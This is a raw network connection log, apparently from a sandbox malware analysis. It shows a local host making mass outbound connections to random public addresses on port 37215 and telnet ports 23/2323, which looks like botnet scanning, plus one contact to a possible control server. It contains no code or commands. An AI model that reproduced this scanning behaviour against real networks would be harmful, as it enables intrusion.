Oct 8, 2024 20:34:53.551764011 CEST	37215	60822	156.100.4.160	192.168.2.14
Oct 8, 2024 20:34:53.551778078 CEST	37215	36226	41.146.184.33	192.168.2.14
Oct 8, 2024 20:34:53.551790953 CEST	37215	47522	156.22.71.139	192.168.2.14
Oct 8, 2024 20:34:53.551805019 CEST	37215	50174	197.56.146.34	192.168.2.14
Oct 8, 2024 20:34:53.551816940 CEST	37215	60822	156.100.4.160	192.168.2.14
Oct 8, 2024 20:34:53.551858902 CEST	60822	37215	192.168.2.14	156.100.4.160
Oct 8, 2024 20:34:53.553374052 CEST	37215	43498	156.20.24.103	192.168.2.14
Oct 8, 2024 20:34:53.553419113 CEST	43498	37215	192.168.2.14	156.20.24.103
Oct 8, 2024 20:34:53.555313110 CEST	37215	37412	197.235.13.125	192.168.2.14
Oct 8, 2024 20:34:53.555357933 CEST	37412	37215	192.168.2.14	197.235.13.125
Oct 8, 2024 20:34:53.556699038 CEST	37215	36226	41.146.184.33	192.168.2.14
Oct 8, 2024 20:34:53.556744099 CEST	36226	37215	192.168.2.14	41.146.184.33
Oct 8, 2024 20:34:53.558624983 CEST	37215	47522	156.22.71.139	192.168.2.14
Oct 8, 2024 20:34:53.558670998 CEST	47522	37215	192.168.2.14	156.22.71.139
Oct 8, 2024 20:34:53.561530113 CEST	37215	50174	197.56.146.34	192.168.2.14
Oct 8, 2024 20:34:53.561594963 CEST	50174	37215	192.168.2.14	197.56.146.34
Oct 8, 2024 20:34:53.566648006 CEST	37215	34620	156.233.49.226	192.168.2.14
Oct 8, 2024 20:34:53.566809893 CEST	34620	37215	192.168.2.14	156.233.49.226
Oct 8, 2024 20:34:53.567451954 CEST	35504	37215	192.168.2.14	197.200.173.97
Oct 8, 2024 20:34:53.567454100 CEST	33422	37215	192.168.2.14	41.231.143.196
Oct 8, 2024 20:34:53.567459106 CEST	52098	37215	192.168.2.14	156.214.68.98
Oct 8, 2024 20:34:53.567467928 CEST	53356	37215	192.168.2.14	41.154.117.250
Oct 8, 2024 20:34:53.567471981 CEST	35484	37215	192.168.2.14	156.172.212.115
Oct 8, 2024 20:34:53.567475080 CEST	60258	37215	192.168.2.14	156.155.185.214
Oct 8, 2024 20:34:53.567478895 CEST	59992	37215	192.168.2.14	197.129.240.243
Oct 8, 2024 20:34:53.567482948 CEST	41064	37215	192.168.2.14	197.10.242.92
Oct 8, 2024 20:34:53.567486048 CEST	52680	37215	192.168.2.14	156.224.232.229
Oct 8, 2024 20:34:53.567492008 CEST	41154	37215	192.168.2.14	41.145.207.152
Oct 8, 2024 20:34:53.567496061 CEST	37215	51428	41.201.10.202	192.168.2.14
Oct 8, 2024 20:34:53.567501068 CEST	42260	37215	192.168.2.14	41.213.200.73
Oct 8, 2024 20:34:53.567625046 CEST	51428	37215	192.168.2.14	41.201.10.202
Oct 8, 2024 20:34:53.570302010 CEST	37215	35254	41.210.137.100	192.168.2.14
Oct 8, 2024 20:34:53.570425034 CEST	35254	37215	192.168.2.14	41.210.137.100
Oct 8, 2024 20:34:53.572602034 CEST	37215	35504	197.200.173.97	192.168.2.14
Oct 8, 2024 20:34:53.572616100 CEST	37215	52098	156.214.68.98	192.168.2.14
Oct 8, 2024 20:34:53.572669029 CEST	35504	37215	192.168.2.14	197.200.173.97
Oct 8, 2024 20:34:53.572673082 CEST	52098	37215	192.168.2.14	156.214.68.98
Oct 8, 2024 20:34:53.572709084 CEST	52098	37215	192.168.2.14	156.214.68.98
Oct 8, 2024 20:34:53.572726011 CEST	35504	37215	192.168.2.14	197.200.173.97
Oct 8, 2024 20:34:53.572913885 CEST	37215	43678	156.110.224.192	192.168.2.14
Oct 8, 2024 20:34:53.572948933 CEST	43678	37215	192.168.2.14	156.110.224.192
Oct 8, 2024 20:34:53.573282003 CEST	34896	37215	192.168.2.14	197.29.2.213
Oct 8, 2024 20:34:53.573972940 CEST	57504	37215	192.168.2.14	197.197.130.180
Oct 8, 2024 20:34:53.574775934 CEST	49988	37215	192.168.2.14	41.180.118.96
Oct 8, 2024 20:34:53.575555086 CEST	50988	37215	192.168.2.14	41.101.62.92
Oct 8, 2024 20:34:53.576184034 CEST	52526	37215	192.168.2.14	156.119.155.67
Oct 8, 2024 20:34:53.576853037 CEST	42796	37215	192.168.2.14	41.253.97.168
Oct 8, 2024 20:34:53.577583075 CEST	48554	37215	192.168.2.14	156.16.162.9
Oct 8, 2024 20:34:53.578201056 CEST	59374	37215	192.168.2.14	197.49.8.108
Oct 8, 2024 20:34:53.578896999 CEST	35178	37215	192.168.2.14	197.11.103.109
Oct 8, 2024 20:34:53.579106092 CEST	37215	34896	197.29.2.213	192.168.2.14
Oct 8, 2024 20:34:53.579145908 CEST	34896	37215	192.168.2.14	197.29.2.213
Oct 8, 2024 20:34:53.579605103 CEST	46334	37215	192.168.2.14	197.19.20.158
Oct 8, 2024 20:34:53.580312967 CEST	47298	37215	192.168.2.14	197.64.46.11
Oct 8, 2024 20:34:53.580929995 CEST	51728	37215	192.168.2.14	197.44.234.96
Oct 8, 2024 20:34:53.581623077 CEST	56554	37215	192.168.2.14	197.67.37.109
Oct 8, 2024 20:34:53.582465887 CEST	53230	37215	192.168.2.14	197.148.84.111
Oct 8, 2024 20:34:53.582761049 CEST	37215	35504	197.200.173.97	192.168.2.14
Oct 8, 2024 20:34:53.582808018 CEST	35504	37215	192.168.2.14	197.200.173.97
Oct 8, 2024 20:34:53.582935095 CEST	38508	37215	192.168.2.14	41.235.138.140
Oct 8, 2024 20:34:53.583313942 CEST	37215	52098	156.214.68.98	192.168.2.14
Oct 8, 2024 20:34:53.583360910 CEST	52098	37215	192.168.2.14	156.214.68.98
Oct 8, 2024 20:34:53.583703041 CEST	40376	37215	192.168.2.14	41.141.39.137
Oct 8, 2024 20:34:53.584440947 CEST	54954	37215	192.168.2.14	41.55.74.90
Oct 8, 2024 20:34:53.585061073 CEST	58416	37215	192.168.2.14	156.42.190.57
Oct 8, 2024 20:34:53.585768938 CEST	55348	37215	192.168.2.14	156.162.179.119
Oct 8, 2024 20:34:53.586405039 CEST	48464	37215	192.168.2.14	197.193.166.227
Oct 8, 2024 20:34:53.587032080 CEST	47108	37215	192.168.2.14	197.117.32.0
Oct 8, 2024 20:34:53.587766886 CEST	48964	37215	192.168.2.14	156.96.29.210
Oct 8, 2024 20:34:53.588262081 CEST	39458	37215	192.168.2.14	156.190.29.125
Oct 8, 2024 20:34:53.588892937 CEST	52024	37215	192.168.2.14	197.148.81.90
Oct 8, 2024 20:34:53.589520931 CEST	50620	37215	192.168.2.14	156.108.238.213
Oct 8, 2024 20:34:53.589850903 CEST	37215	40376	41.141.39.137	192.168.2.14
Oct 8, 2024 20:34:53.589891911 CEST	40376	37215	192.168.2.14	41.141.39.137
Oct 8, 2024 20:34:53.590141058 CEST	60136	37215	192.168.2.14	41.72.125.133
Oct 8, 2024 20:34:53.590744019 CEST	32780	37215	192.168.2.14	41.6.184.55
Oct 8, 2024 20:34:53.591361046 CEST	53014	37215	192.168.2.14	197.118.155.162
Oct 8, 2024 20:34:53.592070103 CEST	44084	37215	192.168.2.14	156.191.85.75
Oct 8, 2024 20:34:53.592675924 CEST	49964	37215	192.168.2.14	41.48.165.164
Oct 8, 2024 20:34:53.593270063 CEST	48068	37215	192.168.2.14	41.206.221.4
Oct 8, 2024 20:34:53.593887091 CEST	47120	37215	192.168.2.14	197.155.238.96
Oct 8, 2024 20:34:53.594525099 CEST	33196	37215	192.168.2.14	156.92.126.87
Oct 8, 2024 20:34:53.595140934 CEST	41136	37215	192.168.2.14	156.199.193.96
Oct 8, 2024 20:34:53.595766068 CEST	59544	37215	192.168.2.14	156.199.146.184
Oct 8, 2024 20:34:53.596384048 CEST	37054	37215	192.168.2.14	41.173.24.60
Oct 8, 2024 20:34:53.597037077 CEST	58410	37215	192.168.2.14	156.63.48.112
Oct 8, 2024 20:34:53.597254992 CEST	37215	44084	156.191.85.75	192.168.2.14
Oct 8, 2024 20:34:53.597374916 CEST	44084	37215	192.168.2.14	156.191.85.75
Oct 8, 2024 20:34:53.597667933 CEST	45388	37215	192.168.2.14	41.242.249.142
Oct 8, 2024 20:34:53.598285913 CEST	60360	37215	192.168.2.14	41.47.228.13
Oct 8, 2024 20:34:53.598910093 CEST	42690	37215	192.168.2.14	156.195.141.158
Oct 8, 2024 20:34:53.599533081 CEST	57612	37215	192.168.2.14	156.143.211.8
Oct 8, 2024 20:34:53.600143909 CEST	46430	37215	192.168.2.14	156.209.41.239
Oct 8, 2024 20:34:53.600843906 CEST	56180	37215	192.168.2.14	197.60.215.97
Oct 8, 2024 20:34:53.601433992 CEST	37968	37215	192.168.2.14	156.89.68.228
Oct 8, 2024 20:34:53.602070093 CEST	53044	37215	192.168.2.14	41.128.17.114
Oct 8, 2024 20:34:53.602885962 CEST	35012	37215	192.168.2.14	41.216.80.115
Oct 8, 2024 20:34:53.603477955 CEST	50980	37215	192.168.2.14	156.88.55.106
Oct 8, 2024 20:34:53.604099989 CEST	40172	37215	192.168.2.14	197.199.22.219
Oct 8, 2024 20:34:53.604773045 CEST	60922	37215	192.168.2.14	156.200.232.130
Oct 8, 2024 20:34:53.605341911 CEST	57814	37215	192.168.2.14	41.80.66.31
Oct 8, 2024 20:34:53.605958939 CEST	33068	37215	192.168.2.14	197.0.113.100
Oct 8, 2024 20:34:53.606570005 CEST	50424	37215	192.168.2.14	41.212.95.162
Oct 8, 2024 20:34:53.607244968 CEST	35906	37215	192.168.2.14	156.164.174.189
Oct 8, 2024 20:34:53.607834101 CEST	41980	37215	192.168.2.14	197.72.96.94
Oct 8, 2024 20:34:53.608375072 CEST	37215	50980	156.88.55.106	192.168.2.14
Oct 8, 2024 20:34:53.608421087 CEST	50980	37215	192.168.2.14	156.88.55.106
Oct 8, 2024 20:34:53.608442068 CEST	41162	37215	192.168.2.14	41.85.252.29
Oct 8, 2024 20:34:53.609075069 CEST	53274	37215	192.168.2.14	156.131.248.248
Oct 8, 2024 20:34:53.609703064 CEST	45710	37215	192.168.2.14	41.131.232.150
Oct 8, 2024 20:34:53.610404015 CEST	57578	37215	192.168.2.14	197.44.68.212
Oct 8, 2024 20:34:53.611015081 CEST	34602	37215	192.168.2.14	197.169.169.230
Oct 8, 2024 20:34:53.611785889 CEST	51924	37215	192.168.2.14	41.253.181.180
Oct 8, 2024 20:34:53.612510920 CEST	37706	37215	192.168.2.14	197.54.69.98
Oct 8, 2024 20:34:53.613203049 CEST	42572	37215	192.168.2.14	197.13.206.248
Oct 8, 2024 20:34:53.613759041 CEST	38382	37215	192.168.2.14	41.134.171.4
Oct 8, 2024 20:34:53.614411116 CEST	45544	37215	192.168.2.14	41.72.71.138
Oct 8, 2024 20:34:53.615087032 CEST	42714	37215	192.168.2.14	197.220.0.95
Oct 8, 2024 20:34:53.615731001 CEST	55494	37215	192.168.2.14	41.53.183.197
Oct 8, 2024 20:34:53.616357088 CEST	41726	37215	192.168.2.14	41.177.243.230
Oct 8, 2024 20:34:53.616808891 CEST	37215	51924	41.253.181.180	192.168.2.14
Oct 8, 2024 20:34:53.616852999 CEST	51924	37215	192.168.2.14	41.253.181.180
Oct 8, 2024 20:34:53.616978884 CEST	44460	37215	192.168.2.14	41.232.14.171
Oct 8, 2024 20:34:53.617603064 CEST	51108	37215	192.168.2.14	156.166.190.11
Oct 8, 2024 20:34:53.618211985 CEST	45094	37215	192.168.2.14	197.202.98.21
Oct 8, 2024 20:34:53.618904114 CEST	37474	37215	192.168.2.14	197.210.44.39
Oct 8, 2024 20:34:53.619626045 CEST	58952	37215	192.168.2.14	197.54.92.12
Oct 8, 2024 20:34:53.620251894 CEST	47462	37215	192.168.2.14	156.143.127.208
Oct 8, 2024 20:34:53.620907068 CEST	33012	37215	192.168.2.14	197.157.148.255
Oct 8, 2024 20:34:53.621545076 CEST	34384	37215	192.168.2.14	197.51.56.98
Oct 8, 2024 20:34:53.622196913 CEST	39292	37215	192.168.2.14	156.255.180.53
Oct 8, 2024 20:34:53.622993946 CEST	43130	37215	192.168.2.14	156.33.51.38
Oct 8, 2024 20:34:53.623488903 CEST	48376	37215	192.168.2.14	41.123.118.173
Oct 8, 2024 20:34:53.624145031 CEST	33372	37215	192.168.2.14	156.41.157.113
Oct 8, 2024 20:34:53.624803066 CEST	44456	37215	192.168.2.14	156.243.42.146
Oct 8, 2024 20:34:53.625437021 CEST	40418	37215	192.168.2.14	197.98.75.148
Oct 8, 2024 20:34:53.626153946 CEST	34896	37215	192.168.2.14	197.29.2.213
Oct 8, 2024 20:34:53.626153946 CEST	34896	37215	192.168.2.14	197.29.2.213
Oct 8, 2024 20:34:53.626470089 CEST	35058	37215	192.168.2.14	197.29.2.213
Oct 8, 2024 20:34:53.626698971 CEST	40376	37215	192.168.2.14	41.141.39.137
Oct 8, 2024 20:34:53.626698971 CEST	40376	37215	192.168.2.14	41.141.39.137
Oct 8, 2024 20:34:53.627074003 CEST	40510	37215	192.168.2.14	41.141.39.137
Oct 8, 2024 20:34:53.627404928 CEST	44084	37215	192.168.2.14	156.191.85.75
Oct 8, 2024 20:34:53.627404928 CEST	44084	37215	192.168.2.14	156.191.85.75
Oct 8, 2024 20:34:53.627676964 CEST	44194	37215	192.168.2.14	156.191.85.75
Oct 8, 2024 20:34:53.628034115 CEST	50980	37215	192.168.2.14	156.88.55.106
Oct 8, 2024 20:34:53.628034115 CEST	50980	37215	192.168.2.14	156.88.55.106
Oct 8, 2024 20:34:53.628325939 CEST	51056	37215	192.168.2.14	156.88.55.106
Oct 8, 2024 20:34:53.628509045 CEST	37215	48376	41.123.118.173	192.168.2.14
Oct 8, 2024 20:34:53.628560066 CEST	48376	37215	192.168.2.14	41.123.118.173
Oct 8, 2024 20:34:53.628696918 CEST	51924	37215	192.168.2.14	41.253.181.180
Oct 8, 2024 20:34:53.628696918 CEST	51924	37215	192.168.2.14	41.253.181.180
Oct 8, 2024 20:34:53.628977060 CEST	51976	37215	192.168.2.14	41.253.181.180
Oct 8, 2024 20:34:53.629455090 CEST	48376	37215	192.168.2.14	41.123.118.173
Oct 8, 2024 20:34:53.629478931 CEST	48376	37215	192.168.2.14	41.123.118.173
Oct 8, 2024 20:34:53.629755020 CEST	48394	37215	192.168.2.14	41.123.118.173
Oct 8, 2024 20:34:53.631227970 CEST	37215	34896	197.29.2.213	192.168.2.14
Oct 8, 2024 20:34:53.631551981 CEST	37215	40376	41.141.39.137	192.168.2.14
Oct 8, 2024 20:34:53.632301092 CEST	37215	44084	156.191.85.75	192.168.2.14
Oct 8, 2024 20:34:53.633275032 CEST	37215	50980	156.88.55.106	192.168.2.14
Oct 8, 2024 20:34:53.633558989 CEST	37215	51924	41.253.181.180	192.168.2.14
Oct 8, 2024 20:34:53.634330034 CEST	37215	48376	41.123.118.173	192.168.2.14
Oct 8, 2024 20:34:53.671571016 CEST	37215	34896	197.29.2.213	192.168.2.14
Oct 8, 2024 20:34:53.679490089 CEST	37215	48376	41.123.118.173	192.168.2.14
Oct 8, 2024 20:34:53.679567099 CEST	37215	40376	41.141.39.137	192.168.2.14
Oct 8, 2024 20:34:53.679579973 CEST	37215	51924	41.253.181.180	192.168.2.14
Oct 8, 2024 20:34:53.679594994 CEST	37215	50980	156.88.55.106	192.168.2.14
Oct 8, 2024 20:34:53.679608107 CEST	37215	44084	156.191.85.75	192.168.2.14
Oct 8, 2024 20:34:53.990386963 CEST	36630	1420	192.168.2.14	45.137.198.211
Oct 8, 2024 20:34:53.996467113 CEST	1420	36630	45.137.198.211	192.168.2.14
Oct 8, 2024 20:34:54.018045902 CEST	23	33910	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:54.018428087 CEST	33910	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:54.018582106 CEST	34090	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:54.018992901 CEST	48168	2323	192.168.2.14	201.23.181.69
Oct 8, 2024 20:34:54.018996954 CEST	48168	23	192.168.2.14	57.77.202.7
Oct 8, 2024 20:34:54.019000053 CEST	48168	23	192.168.2.14	69.45.175.67
Oct 8, 2024 20:34:54.019011021 CEST	48168	23	192.168.2.14	98.71.185.158
Oct 8, 2024 20:34:54.019026041 CEST	48168	23	192.168.2.14	47.245.125.178
Oct 8, 2024 20:34:54.019032955 CEST	48168	23	192.168.2.14	190.72.203.2
Oct 8, 2024 20:34:54.019037962 CEST	48168	23	192.168.2.14	197.212.41.229
Oct 8, 2024 20:34:54.019058943 CEST	48168	23	192.168.2.14	119.83.142.235
Oct 8, 2024 20:34:54.019062996 CEST	48168	2323	192.168.2.14	62.56.0.176
Oct 8, 2024 20:34:54.019068003 CEST	48168	23	192.168.2.14	172.201.25.205
Oct 8, 2024 20:34:54.019068003 CEST	48168	23	192.168.2.14	189.210.229.12
Oct 8, 2024 20:34:54.019084930 CEST	48168	23	192.168.2.14	112.181.240.83
Oct 8, 2024 20:34:54.019085884 CEST	48168	23	192.168.2.14	89.97.125.90
Oct 8, 2024 20:34:54.019084930 CEST	48168	23	192.168.2.14	158.140.222.219
Oct 8, 2024 20:34:54.019107103 CEST	48168	23	192.168.2.14	140.225.130.231
Oct 8, 2024 20:34:54.019114971 CEST	48168	23	192.168.2.14	63.89.238.144
Oct 8, 2024 20:34:54.019119024 CEST	48168	23	192.168.2.14	116.180.220.86
Oct 8, 2024 20:34:54.019145012 CEST	48168	23	192.168.2.14	2.161.228.33
Oct 8, 2024 20:34:54.019145012 CEST	48168	23	192.168.2.14	17.93.59.180
Oct 8, 2024 20:34:54.019148111 CEST	48168	23	192.168.2.14	206.159.9.68
Oct 8, 2024 20:34:54.019148111 CEST	48168	2323	192.168.2.14	8.93.205.226
Oct 8, 2024 20:34:54.019150019 CEST	48168	23	192.168.2.14	180.77.12.242
Oct 8, 2024 20:34:54.019150019 CEST	48168	23	192.168.2.14	44.88.101.60
Oct 8, 2024 20:34:54.019150019 CEST	48168	23	192.168.2.14	170.96.167.85
Oct 8, 2024 20:34:54.019176006 CEST	48168	23	192.168.2.14	223.185.152.211
Oct 8, 2024 20:34:54.019176960 CEST	48168	23	192.168.2.14	193.92.157.35
Oct 8, 2024 20:34:54.019212008 CEST	48168	23	192.168.2.14	36.5.196.193
Oct 8, 2024 20:34:54.019212008 CEST	48168	23	192.168.2.14	68.212.127.167
Oct 8, 2024 20:34:54.019213915 CEST	48168	23	192.168.2.14	99.5.79.58
Oct 8, 2024 20:34:54.019217968 CEST	48168	23	192.168.2.14	114.39.29.107
Oct 8, 2024 20:34:54.019223928 CEST	48168	23	192.168.2.14	110.141.174.17
Oct 8, 2024 20:34:54.019223928 CEST	48168	2323	192.168.2.14	53.63.43.179
Oct 8, 2024 20:34:54.019218922 CEST	48168	2323	192.168.2.14	66.114.7.243
Oct 8, 2024 20:34:54.019218922 CEST	48168	23	192.168.2.14	172.52.8.59
Oct 8, 2024 20:34:54.019236088 CEST	48168	23	192.168.2.14	155.92.155.139
Oct 8, 2024 20:34:54.019236088 CEST	48168	23	192.168.2.14	207.46.231.195
Oct 8, 2024 20:34:54.019236088 CEST	48168	23	192.168.2.14	8.192.198.118
Oct 8, 2024 20:34:54.019236088 CEST	48168	23	192.168.2.14	34.203.179.29
Oct 8, 2024 20:34:54.019236088 CEST	48168	23	192.168.2.14	94.230.48.20
Oct 8, 2024 20:34:54.019238949 CEST	48168	23	192.168.2.14	73.126.144.168
Oct 8, 2024 20:34:54.019253969 CEST	48168	23	192.168.2.14	5.176.208.133
Oct 8, 2024 20:34:54.019258022 CEST	48168	23	192.168.2.14	206.232.170.176
Oct 8, 2024 20:34:54.019258976 CEST	48168	23	192.168.2.14	147.165.102.32
Oct 8, 2024 20:34:54.019258976 CEST	48168	23	192.168.2.14	74.11.14.157
Oct 8, 2024 20:34:54.019258976 CEST	48168	23	192.168.2.14	57.132.181.170
Oct 8, 2024 20:34:54.019258976 CEST	48168	23	192.168.2.14	67.70.228.85
Oct 8, 2024 20:34:54.019260883 CEST	48168	23	192.168.2.14	164.134.182.140
Oct 8, 2024 20:34:54.019260883 CEST	48168	23	192.168.2.14	62.167.83.82
Oct 8, 2024 20:34:54.019263983 CEST	48168	23	192.168.2.14	60.159.7.164
Oct 8, 2024 20:34:54.019263983 CEST	48168	23	192.168.2.14	36.199.99.32
Oct 8, 2024 20:34:54.019264936 CEST	48168	23	192.168.2.14	171.21.93.153
Oct 8, 2024 20:34:54.019265890 CEST	48168	23	192.168.2.14	8.67.149.40
Oct 8, 2024 20:34:54.019268036 CEST	48168	23	192.168.2.14	192.48.148.14
Oct 8, 2024 20:34:54.019268036 CEST	48168	23	192.168.2.14	210.163.236.78
Oct 8, 2024 20:34:54.019268036 CEST	48168	23	192.168.2.14	185.62.25.47
Oct 8, 2024 20:34:54.019268036 CEST	48168	23	192.168.2.14	24.103.66.124
Oct 8, 2024 20:34:54.019270897 CEST	48168	23	192.168.2.14	120.30.128.7
Oct 8, 2024 20:34:54.019270897 CEST	48168	2323	192.168.2.14	13.229.20.178
Oct 8, 2024 20:34:54.019283056 CEST	48168	23	192.168.2.14	168.117.169.47
Oct 8, 2024 20:34:54.019283056 CEST	48168	23	192.168.2.14	123.12.8.223
Oct 8, 2024 20:34:54.019284010 CEST	48168	23	192.168.2.14	159.64.78.202
Oct 8, 2024 20:34:54.019283056 CEST	48168	23	192.168.2.14	19.227.153.14
Oct 8, 2024 20:34:54.019288063 CEST	48168	23	192.168.2.14	44.218.255.52
Oct 8, 2024 20:34:54.019292116 CEST	48168	23	192.168.2.14	196.201.37.45
Oct 8, 2024 20:34:54.019295931 CEST	48168	23	192.168.2.14	2.108.191.121
Oct 8, 2024 20:34:54.019304037 CEST	48168	23	192.168.2.14	139.16.69.86
Oct 8, 2024 20:34:54.019309044 CEST	48168	2323	192.168.2.14	167.72.83.105
Oct 8, 2024 20:34:54.019309044 CEST	48168	23	192.168.2.14	17.11.0.188
Oct 8, 2024 20:34:54.019309998 CEST	48168	23	192.168.2.14	210.222.70.233
Oct 8, 2024 20:34:54.019309998 CEST	48168	23	192.168.2.14	43.250.61.211
Oct 8, 2024 20:34:54.019309998 CEST	48168	23	192.168.2.14	167.13.229.115
Oct 8, 2024 20:34:54.019311905 CEST	48168	23	192.168.2.14	66.196.209.187
Oct 8, 2024 20:34:54.019311905 CEST	48168	23	192.168.2.14	210.214.254.237
Oct 8, 2024 20:34:54.019315958 CEST	48168	23	192.168.2.14	23.46.89.148
Oct 8, 2024 20:34:54.019321918 CEST	48168	2323	192.168.2.14	159.214.69.189
Oct 8, 2024 20:34:54.019326925 CEST	48168	23	192.168.2.14	221.217.130.181
Oct 8, 2024 20:34:54.019335032 CEST	48168	23	192.168.2.14	167.79.40.224
Oct 8, 2024 20:34:54.019335032 CEST	48168	23	192.168.2.14	24.208.33.46
Oct 8, 2024 20:34:54.019345045 CEST	48168	2323	192.168.2.14	47.95.184.225
Oct 8, 2024 20:34:54.019346952 CEST	48168	23	192.168.2.14	83.172.76.141
Oct 8, 2024 20:34:54.019346952 CEST	48168	23	192.168.2.14	204.86.18.54
Oct 8, 2024 20:34:54.019351006 CEST	48168	23	192.168.2.14	102.253.167.20
Oct 8, 2024 20:34:54.019356966 CEST	48168	23	192.168.2.14	159.101.144.12
Oct 8, 2024 20:34:54.019356966 CEST	48168	23	192.168.2.14	79.40.175.57
Oct 8, 2024 20:34:54.019367933 CEST	48168	23	192.168.2.14	145.150.97.31
Oct 8, 2024 20:34:54.019370079 CEST	48168	23	192.168.2.14	77.130.62.8
Oct 8, 2024 20:34:54.019370079 CEST	48168	23	192.168.2.14	57.174.250.9
Oct 8, 2024 20:34:54.019392014 CEST	48168	23	192.168.2.14	173.132.131.70
Oct 8, 2024 20:34:54.019392014 CEST	48168	23	192.168.2.14	211.86.134.46
Oct 8, 2024 20:34:54.019406080 CEST	48168	23	192.168.2.14	205.190.47.25
Oct 8, 2024 20:34:54.019407034 CEST	48168	2323	192.168.2.14	69.127.201.90
Oct 8, 2024 20:34:54.019450903 CEST	48168	23	192.168.2.14	196.249.114.214
Oct 8, 2024 20:34:54.019455910 CEST	48168	23	192.168.2.14	163.144.147.173
Oct 8, 2024 20:34:54.019460917 CEST	48168	23	192.168.2.14	65.211.157.250
Oct 8, 2024 20:34:54.019475937 CEST	48168	23	192.168.2.14	191.148.4.19
Oct 8, 2024 20:34:54.019488096 CEST	48168	23	192.168.2.14	124.36.169.100
Oct 8, 2024 20:34:54.019490004 CEST	48168	2323	192.168.2.14	148.98.173.72
Oct 8, 2024 20:34:54.019490004 CEST	48168	23	192.168.2.14	95.246.91.80
Oct 8, 2024 20:34:54.019490004 CEST	48168	23	192.168.2.14	213.218.137.190
Oct 8, 2024 20:34:54.019499063 CEST	48168	23	192.168.2.14	213.203.174.19
Oct 8, 2024 20:34:54.019514084 CEST	48168	23	192.168.2.14	126.21.97.92
Oct 8, 2024 20:34:54.019520998 CEST	48168	23	192.168.2.14	150.0.140.171
Oct 8, 2024 20:34:54.019529104 CEST	48168	23	192.168.2.14	9.95.240.74
Oct 8, 2024 20:34:54.019537926 CEST	48168	23	192.168.2.14	141.128.250.88
Oct 8, 2024 20:34:54.019537926 CEST	48168	23	192.168.2.14	124.209.183.216
Oct 8, 2024 20:34:54.019555092 CEST	48168	23	192.168.2.14	41.251.229.206
Oct 8, 2024 20:34:54.019560099 CEST	48168	23	192.168.2.14	68.143.75.93
Oct 8, 2024 20:34:54.019560099 CEST	48168	23	192.168.2.14	100.51.199.237
Oct 8, 2024 20:34:54.019563913 CEST	48168	23	192.168.2.14	57.86.246.70
Oct 8, 2024 20:34:54.019563913 CEST	48168	2323	192.168.2.14	190.174.250.240
Oct 8, 2024 20:34:54.019568920 CEST	48168	23	192.168.2.14	42.162.110.128
Oct 8, 2024 20:34:54.019572020 CEST	48168	23	192.168.2.14	135.148.101.236
Oct 8, 2024 20:34:54.019572020 CEST	48168	23	192.168.2.14	184.217.86.243
Oct 8, 2024 20:34:54.019575119 CEST	48168	23	192.168.2.14	78.247.54.153
Oct 8, 2024 20:34:54.019583941 CEST	48168	23	192.168.2.14	162.251.175.94
Oct 8, 2024 20:34:54.019586086 CEST	48168	23	192.168.2.14	78.118.87.133
Oct 8, 2024 20:34:54.019586086 CEST	48168	23	192.168.2.14	67.99.229.52
Oct 8, 2024 20:34:54.019601107 CEST	48168	23	192.168.2.14	8.77.176.224
Oct 8, 2024 20:34:54.019615889 CEST	48168	23	192.168.2.14	203.123.122.93
Oct 8, 2024 20:34:54.019627094 CEST	48168	23	192.168.2.14	203.118.198.242
Oct 8, 2024 20:34:54.019628048 CEST	48168	23	192.168.2.14	8.192.197.150
Oct 8, 2024 20:34:54.019637108 CEST	48168	23	192.168.2.14	94.37.52.223
Oct 8, 2024 20:34:54.019639969 CEST	48168	23	192.168.2.14	120.71.13.212
Oct 8, 2024 20:34:54.019656897 CEST	48168	23	192.168.2.14	124.251.228.11
Oct 8, 2024 20:34:54.019664049 CEST	48168	23	192.168.2.14	153.63.221.164
Oct 8, 2024 20:34:54.019666910 CEST	48168	23	192.168.2.14	158.163.139.89
Oct 8, 2024 20:34:54.019666910 CEST	48168	23	192.168.2.14	194.166.217.93
Oct 8, 2024 20:34:54.019687891 CEST	48168	2323	192.168.2.14	89.101.200.55
Oct 8, 2024 20:34:54.019692898 CEST	48168	23	192.168.2.14	124.17.159.224
Oct 8, 2024 20:34:54.019692898 CEST	48168	2323	192.168.2.14	90.102.95.70
Oct 8, 2024 20:34:54.019692898 CEST	48168	23	192.168.2.14	102.177.250.95
Oct 8, 2024 20:34:54.019692898 CEST	48168	23	192.168.2.14	114.136.46.28
Oct 8, 2024 20:34:54.019692898 CEST	48168	23	192.168.2.14	112.197.87.118
Oct 8, 2024 20:34:54.019695997 CEST	48168	23	192.168.2.14	59.219.113.45
Oct 8, 2024 20:34:54.019701958 CEST	48168	23	192.168.2.14	153.135.254.196
Oct 8, 2024 20:34:54.019716024 CEST	48168	23	192.168.2.14	119.246.168.255
Oct 8, 2024 20:34:54.019723892 CEST	48168	23	192.168.2.14	160.125.104.5
Oct 8, 2024 20:34:54.019723892 CEST	48168	23	192.168.2.14	133.10.162.1
Oct 8, 2024 20:34:54.019732952 CEST	48168	23	192.168.2.14	78.38.85.165
Oct 8, 2024 20:34:54.019737005 CEST	48168	2323	192.168.2.14	42.121.251.94
Oct 8, 2024 20:34:54.019746065 CEST	48168	23	192.168.2.14	17.84.40.161
Oct 8, 2024 20:34:54.019772053 CEST	48168	23	192.168.2.14	99.229.184.196
Oct 8, 2024 20:34:54.019773960 CEST	48168	23	192.168.2.14	123.217.250.31
Oct 8, 2024 20:34:54.019778013 CEST	48168	23	192.168.2.14	201.80.77.4
Oct 8, 2024 20:34:54.019784927 CEST	48168	23	192.168.2.14	23.8.75.249
Oct 8, 2024 20:34:54.019785881 CEST	48168	23	192.168.2.14	216.90.112.240
Oct 8, 2024 20:34:54.019794941 CEST	48168	23	192.168.2.14	35.226.19.112
Oct 8, 2024 20:34:54.019804955 CEST	48168	23	192.168.2.14	84.192.89.120
Oct 8, 2024 20:34:54.019813061 CEST	48168	23	192.168.2.14	74.24.60.56
Oct 8, 2024 20:34:54.019814014 CEST	48168	2323	192.168.2.14	92.141.211.235
Oct 8, 2024 20:34:54.019819975 CEST	48168	23	192.168.2.14	142.128.175.107
Oct 8, 2024 20:34:54.019823074 CEST	48168	23	192.168.2.14	186.84.25.180
Oct 8, 2024 20:34:54.019833088 CEST	48168	23	192.168.2.14	141.97.124.88
Oct 8, 2024 20:34:54.019840002 CEST	48168	23	192.168.2.14	57.134.160.173
Oct 8, 2024 20:34:54.019840956 CEST	48168	23	192.168.2.14	191.86.209.89
Oct 8, 2024 20:34:54.019850016 CEST	48168	23	192.168.2.14	100.23.128.79
